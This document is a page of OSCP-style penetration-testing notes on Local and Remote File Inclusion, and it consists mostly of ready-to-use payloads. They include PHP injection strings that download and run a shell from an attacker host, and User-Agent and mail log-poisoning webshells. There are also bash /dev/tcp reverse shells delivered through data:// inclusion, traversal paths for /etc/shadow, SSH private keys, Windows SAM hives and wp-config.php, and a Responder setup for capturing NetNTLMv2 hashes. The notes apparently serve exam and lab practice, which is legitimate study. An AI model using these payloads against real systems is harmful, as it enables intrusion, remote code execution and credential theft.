> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/lfi-rfi.md).

# LFI/RFI

<details>

<summary>Signs</summary>

* Files being included in Get parameter
* Able to view file extensions (eg: french.html)

</details>

<details>

<summary>Method</summary>

#### Method

1. Try to view the server file (view the blacklist)
2. Log poisoning
3. Find Interesting files to read

<https://www.exploit-db.com/docs/english/40992-web-app-penetration-testing---local-file-inclusion-(lfi).pdf>

</details>

<details>

<summary>Advanced LFI</summary>

<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/file-inclusion/README.md#lfi-via-phps-assert>

```bash
' and die(show_source('/etc/passwd')) or '
```

```php
'+and+die(system("wget+http%3a//192.168.45.5/shell.sh+-O+/tmp/shell.sh%3bchmod+777+/tmp/shell.sh%3b/tmp/shell.sh"))+or+'
```

```bash
' and die(system("curl http://192.168.45.5/shell.php|php")) or '
```

</details>

<details>

<summary>Base64-encoded LFI</summary>

<pre class="language-bash"><code class="lang-bash">/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
<strong># Always view index.php (might have DB config)
</strong><strong>/?debug=php://filter/convert.base64-encode/resource=index.php
</strong></code></pre>

### Export the wp-config.php and save as base64

```
http://172.16.1.10/nav.php?page=php://filter/convert.base64-encode/resource=../../../../var/www/html/wordpress/wp-config.php
```

</details>

<details>

<summary>User-Agent LFI</summary>

* Sometimes it's impt to use `"` as `'` is being used by the database to define the entire string (Putting Webshell in PHPLiteAdmin DB)

```php
User-Agent:<?php system($_GET['cmd']); ?>
```

```php
User-Agent:<?php system($_REQUEST["cmd"]); ?>
```

```php
User-Agent:<?php echo shell_exec($_GET["cmd"]);?>
```

</details>

<details>

<summary>LFI to RCE (Filter Chaining)</summary>

Use <https://github.com/Tanguy-Boisset/LFI-to-RCE-filters>

LFI is present in: `http://172.16.1.10/nav.php?../../../../etc/passwd`

```bash
python3 lfi-to-rce.py http://172.16.1.10/nav.php page
```

<figure><img src="/files/dCdG7cYz0pEibjRJfwUG" alt=""><figcaption></figcaption></figure>

</details>

<details>

<summary>LFI To RCE (Log poisoning)</summary>

* Linux

<pre class="language-bash"><code class="lang-bash"><strong>view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log&#x26;cmd=wget+http%3a//10.11.67.208%3a8023/php-reverse-shell.php
</strong></code></pre>

* WIndows

```bash
?page=../../../../../xampp/apache/logs/access.log
```

User-Agent:\<?php system($\_GET\['cmd']) ?>

RCE:

[http://192.168.165.53:4443/site/index.php?page=../../../../../xampp/apache/logs/access.log\&cmd=whoami ](<http://192.168.165.53:4443/site/index.php?page=../../../../../xampp/apache/logs/access.log\&cmd=whoami >)

</details>

<details>

<summary>LFI To RCE (Mail Method)</summary>

#### Send email to asterisk user (LFI /etc/passwd to determine user)

```bash
swaks --to asterisk@localhost --from 0xdf@0xdf.htb --header "Subject: test shell" --body 'check out this code: <?php system($_REQUEST["cmd"]); ?>' --server 10.10.10.7
```

#### Able to obtain RCE (webshell)

```bash
view-source:https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../../var/mail/asterisk%00&module=Accounts&action&cmd=id
```

![](/files/4Xm3uSiA08mn1BJcdjhA)

</details>

<details>

<summary>Testing for RFI</summary>

```php
<?php echo shell_exec('echo abc > /tmp/test.txt');echo file_get_contents('/tmp/test.txt');?> 
```

</details>

<details>

<summary>RFI Rev shell</summary>

```bash
http://10.11.1.35/section.php?page=data:text/plain,<?php echo shell_exec('bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.68%2F443%200%3E%261');?>
```

* Have to url-encode the rev shell payload in `shell_exec()`

```php
data:text/plain,<?php passthru("bash -i >& /dev/tcp/X.X.X.X/4444 0>&1"); ?>
```

</details>

<details>

<summary>Finding interesting files to read</summary>

Use Burpsuite --> Intruder --> wordlist: /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

</details>

<details>

<summary>Interesting files (Linux)</summary>

* /etc/passwd&#x20;
* /etc/shadow&#x20;
* /etc/issue&#x20;
* /etc/group&#x20;
* /etc/hostname&#x20;
* /etc/ssh/ssh\_config&#x20;
* /etc/ssh/sshd\_config&#x20;
* /root/.ssh/id\_rsa&#x20;
* /root/.ssh/authorized\_keys&#x20;
* /home/user/.ssh/authorized\_keys&#x20;
* /home/user/.ssh/id\_rsa

```
RHEL / Red Hat / CentOS / Fedora Linux Apache access file location – /var/log/httpd/access_log
Debian / Ubuntu Linux Apache access log file location – /var/log/apache2/access.log
FreeBSD Apache access log file location – /var/log/httpd-access.log
```

* /etc/httpd/logs/access\_log&#x20;
* /etc/httpd/logs/error\_log
* &#x20;/var/www/logs/access\_log&#x20;
* /var/www/logs/access.log&#x20;
* /usr/local/apache/logs/access\_ log&#x20;
* /usr/local/apache/logs/access. log&#x20;
* /var/log/apache/access\_log&#x20;
* /var/log/apache2/access\_log&#x20;
* /var/log/apache/access.log&#x20;
* /var/log/apache2/access.log&#x20;
* /var/log/access\_log

</details>

<details>

<summary>Interesting files (Windows)</summary>

* /windows/system32/drivers/etc/hosts&#x20;
* ./../../xampp/apache/conf/httpd.conf
* ../../../xampp/password
* ../../../../../../Program Files/FileZilla Server/FileZilla Server.xml
* /boot.ini&#x20;
* /autoexec.bat&#x20;
* c:\xampp\htdocs\\...

### SAM Files & SECURITY FILES&#x20;

```bash
Systemroot is usually windows
windows\repair\SAM
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM


%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

* Just wget the files

```bash
wget "http://10.3.3.190/..%5C..%5C..%5CWindows/system32/config/RegBack/SAM.OLD"
```

</details>

<details>

<summary>Exfiltrating Binary Data Embedded in HTML Tags</summary>

```bash
 wget -qO- 'http://X.X.X.X/vulnpage?vulparam=..\..\..\..\..\..\..\..\..\..\..%5cWINDOWS%5cRepair%5cSAM%00en' |perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' > SAM
```

</details>

<details>

<summary>Capturing NetNTLMv2 from RFI</summary>

Using a protocol like SMB, victim will try to authenticate to our machine, and we can capture the NetNTLMv2. A NetNTLMv2 challenge / response is a string specifically formatted to include the challenge and response.&#x20;

On Attacker:

```bash
responder -I tun0
```

On Victim:

```
http://unika.htb/?page=//10.10.14.25/whatever
```

</details>

<details>

<summary>Shortening LFI Query</summary>

### Example (checking for keyword in LFI query)

LFI found:

```bash
http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt../../../../../../../../../etc/passwd
```

Filter is actually checking for the presence of `ninevehNotes.txt`

So the LFI query can be simplified to:

```bash
http://nineveh.htb/department/manage.php?notes=/ninevehNotes.txt/../etc/passwd
```

</details>

<details>

<summary>Apache 2.4.49</summary>

```bash
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/anita/.ssh/id_ecdsa
```

</details>

<details>

<summary>Links</summary>

<https://oscp.infosecsanyam.in/web-application/lfi>

</details>

<details>

<summary>How to know if file is present but unable to be viewed currently?</summary>

`/nav.php?page=../../../../var/www/html/wordpress/wp-config.php` --> Status code 500

means that file is present but unable to be viewed --> need b64 encode

<figure><img src="/files/fQjbkrHcGieqWlF4CoHx" alt=""><figcaption></figcaption></figure>

`/nav.php?page=php://filter/convert.base64-encode/resource=../../../../var/www/html/wordpress/wp-config.php`

<figure><img src="/files/DmJd4MUt37PNrQjZvUQj" alt=""><figcaption></figcaption></figure>

OTHERWISE, if file is not present --> Status code 200

<figure><img src="/files/dixbw9LyV24AFpLek5Tg" alt=""><figcaption></figcaption></figure>

OR if file is present and viewable --> Status Code 200

<figure><img src="/files/HHjdAWIICMNTY6v5YhYi" alt=""><figcaption></figcaption></figure>

</details>